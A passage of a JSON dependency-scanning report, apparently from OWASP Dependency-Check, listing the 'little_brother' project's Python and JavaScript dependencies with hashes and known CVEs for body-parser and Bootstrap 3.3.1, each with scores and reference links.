          "filePath": "\/builds\/mr\/little_brother\/contrib\/python_base_app\/dist\/python-base-app-0.3.0.tar.gz\/python-base-app-0.3.0.tar\/python-base-app-0.3.0\/python_base_app\/test\/resources\/ci_toolbox\/a_package\/__init__.py",
          "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
          "sha1": "da39a3ee5e6b4b0d3255bfef95601890afd80709",
          "md5": "d41d8cd98f00b204e9800998ecf8427e"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "__init__.py",
            "name": "PackageName",
            "value": "little_brother"
          }
        ],
        "versionEvidence": []
      },
      "packages": [
        {
          "id": "pkg:pypi\/little-brother",
          "confidence": "HIGHEST"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "alembic:1.12.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:alembic\/1.12.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "alembic"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "alembic"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.12.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/alembic@1.12.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/alembic@1.12.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "alembic:1.12.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:alembic\/1.12.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "alembic"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "alembic"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "1.12.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/alembic@1.12.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/alembic@1.12.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "all.min.js",
      "filePath": "\/builds\/mr\/little_brother\/little_brother\/static\/contrib\/fontawesome\/js\/all.min.js",
      "md5": "8ed2d28ba4008d09df754681896693e5",
      "sha1": "7175c878515bc843c3c856727f00b8010efa7ce5",
      "sha256": "1e45d7b4545a7e567b8239a98c640110d1a7abc3489e8e120cdabfdc36e4320a",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: all.min.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/contrib\/fontawesome\/js\/all.min.js",
          "sha256": "1e45d7b4545a7e567b8239a98c640110d1a7abc3489e8e120cdabfdc36e4320a",
          "sha1": "7175c878515bc843c3c856727f00b8010efa7ce5",
          "md5": "8ed2d28ba4008d09df754681896693e5"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": true,
      "fileName": "babel:2.13.0",
      "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/requirements.txt:babel\/2.13.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "babel"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "babel"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.13.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/babel@2.13.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/babel@2.13.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "babel:2.13.0",
      "filePath": "\/builds\/mr\/little_brother\/requirements.txt:babel\/2.13.0",
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "vendor",
            "value": "babel"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "product",
            "value": "babel"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "requirements.txt",
            "name": "version",
            "value": "2.13.0"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:pypi\/babel@2.13.0",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:pypi\/babel@2.13.0?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ]
    },
    {
      "isVirtual": true,
      "fileName": "body-parser:1.20.2",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/package-lock.json?body-parser",
      "projectReferences": [
        "package-lock.json: transitive"
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "package.json",
            "name": "name",
            "value": "body-parser"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "name",
            "value": "body-parser"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGHEST",
            "source": "package.json",
            "name": "version",
            "value": "1.20.2"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:npm\/body-parser@1.20.2",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:npm\/body-parser@1.20.2?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "OSSINDEX",
          "name": "CVE-2024-45590",
          "severity": "HIGH",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-405"
          ],
          "description": "body-parser is Node.js body parsing middleware. body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service. This issue is patched in 1.20.3.\n\nSonatype's research suggests that this CVE's details differ from those defined at NVD. See https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-45590 for details",
          "notes": "",
          "references": [
            {
              "source": "OSSIndex",
              "url": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-45590",
              "name": "http:\/\/web.nvd.nist.gov\/view\/vuln\/detail?vulnId=CVE-2024-45590"
            },
            {
              "source": "OSSINDEX",
              "url": "https:\/\/ossindex.sonatype.org\/vulnerability\/CVE-2024-45590?component-type=npm&component-name=body-parser&utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4",
              "name": "[CVE-2024-45590] CWE-405: Asymmetric Resource Consumption (Amplification)"
            },
            {
              "source": "OSSIndex",
              "url": "https:\/\/github.com\/expressjs\/body-parser\/security\/advisories\/GHSA-qwcr-r2fm-qrc7",
              "name": "https:\/\/github.com\/expressjs\/body-parser\/security\/advisories\/GHSA-qwcr-r2fm-qrc7"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:body-parser:1.20.2:*:*:*:*:*:*:*",
                "vulnerabilityIdMatched": "true"
              }
            }
          ]
        },
        {
          "source": "NPM",
          "name": "GHSA-qwcr-r2fm-qrc7",
          "unscored": "true",
          "severity": "high",
          "cvssv3": {
            "baseScore": 7.5,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "NONE",
            "scope": "UNCHANGED",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "availabilityImpact": "HIGH",
            "baseSeverity": "HIGH",
            "version": "3.1"
          },
          "cwes": [
            "CWE-405"
          ],
          "description": "### Impact\n\nbody-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.\n\n### Patches\n\nthis issue is patched in 1.20.3\n\n### References\n",
          "notes": "",
          "references": [
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45590",
              "name": "https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-45590"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/advisories\/GHSA-qwcr-r2fm-qrc7",
              "name": "https:\/\/github.com\/advisories\/GHSA-qwcr-r2fm-qrc7"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/expressjs\/body-parser\/commit\/b2695c4450f06ba3b0ccf48d872a229bb41c9bce",
              "name": "https:\/\/github.com\/expressjs\/body-parser\/commit\/b2695c4450f06ba3b0ccf48d872a229bb41c9bce"
            },
            {
              "source": "NPM Advisory reference: ",
              "url": "https:\/\/github.com\/expressjs\/body-parser\/security\/advisories\/GHSA-qwcr-r2fm-qrc7",
              "name": "https:\/\/github.com\/expressjs\/body-parser\/security\/advisories\/GHSA-qwcr-r2fm-qrc7"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:*:body-parser:\\<1.20.3:*:*:*:*:*:*:*"
              }
            }
          ]
        }
      ]
    },
    {
      "isVirtual": false,
      "fileName": "bootstrap.bundle.js",
      "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/src\/assets\/contrib\/initializr\/js\/vendor\/bootstrap.bundle.js",
      "md5": "fe87f14dfe6a44b0d03fb2ae9764a3f9",
      "sha1": "0a7acfd202621ba43aee872cb821ec1660e86d3a",
      "sha256": "9d7c4cdef564d41ca1c1ccd05b664245979da082f85393ee40a328a6bbd02b31",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "bootstrap.bundle.js",
          "filePath": "\/builds\/mr\/little_brother\/littlebrother-frontend\/dist\/littlebrother-frontend\/assets\/contrib\/initializr\/js\/vendor\/bootstrap.bundle.js",
          "sha256": "9d7c4cdef564d41ca1c1ccd05b664245979da082f85393ee40a328a6bbd02b31",
          "sha1": "0a7acfd202621ba43aee872cb821ec1660e86d3a",
          "md5": "fe87f14dfe6a44b0d03fb2ae9764a3f9"
        },
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: bootstrap.bundle.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/angular\/assets\/contrib\/initializr\/js\/vendor\/bootstrap.bundle.js",
          "sha256": "9d7c4cdef564d41ca1c1ccd05b664245979da082f85393ee40a328a6bbd02b31",
          "sha1": "0a7acfd202621ba43aee872cb821ec1660e86d3a",
          "md5": "fe87f14dfe6a44b0d03fb2ae9764a3f9"
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [],
        "productEvidence": [],
        "versionEvidence": []
      }
    },
    {
      "isVirtual": false,
      "fileName": "bootstrap.min.js",
      "filePath": "\/builds\/mr\/little_brother\/little_brother\/static\/contrib\/initializr\/js\/vendor\/bootstrap.min.js",
      "md5": "4439a1a058335269fa6fb69300cab7eb",
      "sha1": "e29b114fd86c000f76d0da9a2568cbd34e51ed11",
      "sha256": "1455803805c3416ab61c5590f524a1677af059c9d93b93f5ef8190c118558c52",
      "relatedDependencies": [
        {
          "isVirtual": false,
          "fileName": "little-brother-0.5.1.tar.gz: little-brother-0.5.1.tar: bootstrap.min.js",
          "filePath": "\/builds\/mr\/little_brother\/dist\/little-brother-0.5.1.tar.gz\/little-brother-0.5.1.tar\/little-brother-0.5.1\/little_brother\/static\/contrib\/initializr\/js\/vendor\/bootstrap.min.js",
          "sha256": "1455803805c3416ab61c5590f524a1677af059c9d93b93f5ef8190c118558c52",
          "sha1": "e29b114fd86c000f76d0da9a2568cbd34e51ed11",
          "md5": "4439a1a058335269fa6fb69300cab7eb",
          "packageIds": [
            {
              "id": "pkg:javascript/bootstrap@3.3.1",
              "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:javascript\/bootstrap@3.3.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
            }
          ]
        }
      ],
      "evidenceCollected": {
        "vendorEvidence": [
          {
            "type": "vendor",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "bootstrap"
          }
        ],
        "productEvidence": [
          {
            "type": "product",
            "confidence": "HIGH",
            "source": "file",
            "name": "name",
            "value": "bootstrap"
          }
        ],
        "versionEvidence": [
          {
            "type": "version",
            "confidence": "HIGH",
            "source": "file",
            "name": "version",
            "value": "3.3.1"
          }
        ]
      },
      "packages": [
        {
          "id": "pkg:javascript\/bootstrap@3.3.1",
          "confidence": "HIGHEST",
          "url": "https:\/\/ossindex.sonatype.org\/component\/pkg:javascript\/bootstrap@3.3.1?utm_source=dependency-check&utm_medium=integration&utm_content=10.0.4"
        }
      ],
      "vulnerabilities": [
        {
          "source": "NVD",
          "name": "CVE-2016-10735",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.0"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "In Bootstrap 3.x before 3.4.0 and 4.x-beta before 4.0.0-beta.2, XSS is possible in the data-target attribute, a different vulnerability than CVE-2018-14041.",
          "notes": "",
          "references": [
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/pull\/23687",
              "name": "PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:1456"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/blog.getbootstrap.com\/2018\/12\/13\/bootstrap-3-4-0\/",
              "name": "RELEASE_NOTES,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:3023"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2020:0133"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2020:0132"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHBA-2019:1076"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHBA-2019:1570"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/pull\/23679",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/20184",
              "name": "EXPLOIT,ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/27915#issuecomment-452140906",
              "name": "ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/pull\/26460",
              "name": "THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.tenable.com\/security\/tns-2021-14"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/advisories\/GHSA-4p24-vmcr-4gqj",
              "name": "https:\/\/github.com\/advisories\/GHSA-4p24-vmcr-4gqj"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "3.0.0",
                "versionEndExcluding": "3.4.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:beta:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "NVD",
          "name": "CVE-2018-14041",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.0"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "In Bootstrap before 4.1.2, XSS is possible in the data-target property of scrollspy.",
          "notes": "",
          "references": [
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/156743\/OctoberCMS-Insecure-Dependencies.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/seclists.org\/bugtraq\/2019\/May\/18"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/blog.getbootstrap.com\/2018\/07\/12\/bootstrap-4-1-2\/",
              "name": "VENDOR_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r3dc0cac8d856bca02bd6997355d7ff83027dcfc82f8646a29b89b714%40%3Cissues.hbase.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/access.redhat.com\/errata\/RHSA-2019:1456"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/26423",
              "name": "ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/pull\/26630",
              "name": "ISSUE_TRACKING,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/20184",
              "name": "https:\/\/github.com\/twbs\/bootstrap\/issues\/20184"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/13"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuApr2021.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/11"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/10"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/26627",
              "name": "EXPLOIT,ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e%40%3Cdev.superset.apache.org%3E"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/advisories\/GHSA-pj7m-g53m-7638",
              "name": "https:\/\/github.com\/advisories\/GHSA-pj7m-g53m-7638"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/152787\/dotCMS-5.1.1-Vulnerable-Dependencies.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "4.0.0",
                "versionEndExcluding": "4.1.2"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha2:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha3:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha4:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha5:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha6:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:beta:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:beta2:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:beta3:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "NVD",
          "name": "CVE-2018-14042",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
            "baseSeverity": "MEDIUM",
            "exploitabilityScore": "2.8",
            "impactScore": "2.7",
            "version": "3.0"
          },
          "cwes": [
            "CWE-79"
          ],
          "description": "In Bootstrap before 4.1.2, XSS is possible in the data-container property of tooltip.",
          "notes": "",
          "references": [
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/packetstormsecurity.com\/files\/156743\/OctoberCMS-Insecure-Dependencies.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/seclists.org\/bugtraq\/2019\/May\/18"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/blog.getbootstrap.com\/2018\/07\/12\/bootstrap-4-1-2\/",
              "name": "VENDOR_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/r3dc0cac8d856bca02bd6997355d7ff83027dcfc82f8646a29b89b714%40%3Cissues.hbase.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26%40%3Ccommits.pulsar.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/26423",
              "name": "ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/pull\/26630",
              "name": "ISSUE_TRACKING,PATCH,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "info",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/20184",
              "name": "https:\/\/github.com\/twbs\/bootstrap\/issues\/20184"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/13"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.oracle.com\/security-alerts\/cpuApr2021.html"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/11"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/github.com\/twbs\/bootstrap\/issues\/26628",
              "name": "EXPLOIT,ISSUE_TRACKING,THIRD_PARTY_ADVISORY"
            },
            {
              "source": "cve@mitre.org",
              "url": "http:\/\/seclists.org\/fulldisclosure\/2019\/May\/10"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442%40%3Cdev.drill.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e%40%3Cdev.superset.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/www.tenable.com\/security\/tns-2021-14"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E"
            },
            {
              "source": "cve@mitre.org",
              "url": "https:\/\/lists.apache.org\/thread.html\/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc%40%3Cissues.drill.apache.org%3E"
            }
          ],
          "vulnerableSoftware": [
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:*:*:*:*:*:*:*:*",
                "versionEndExcluding": "3.4.0"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:*:*:*:*:*:*:*:*",
                "versionStartIncluding": "4.0.0",
                "versionEndExcluding": "4.1.2"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha2:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha3:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha4:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha5:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:alpha6:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:beta:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:beta2:*:*:*:*:*:*"
              }
            },
            {
              "software": {
                "id": "cpe:2.3:a:getbootstrap:bootstrap:4.0.0:beta3:*:*:*:*:*:*"
              }
            }
          ]
        },
        {
          "source": "NVD",
          "name": "CVE-2018-20676",
          "severity": "MEDIUM",
          "cvssv2": {
            "score": 4.3,
            "accessVector": "NETWORK",
            "accessComplexity": "MEDIUM",
            "authenticationr": "NONE",
            "confidentialityImpact": "NONE",
            "integrityImpact": "PARTIAL",
            "availabilityImpact": "NONE",
            "severity": "MEDIUM",
            "version": "2.0",
            "exploitabilityScore": "8.6",
            "impactScore": "2.9",
            "userInteractionRequired": "true"
          },
          "cvssv3": {
            "baseScore": 6.1,
            "attackVector": "NETWORK",
            "attackComplexity": "LOW",
            "privilegesRequired": "NONE",
            "userInteraction": "REQUIRED",
            "scope": "CHANGED",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "availabilityImpact": "NONE",
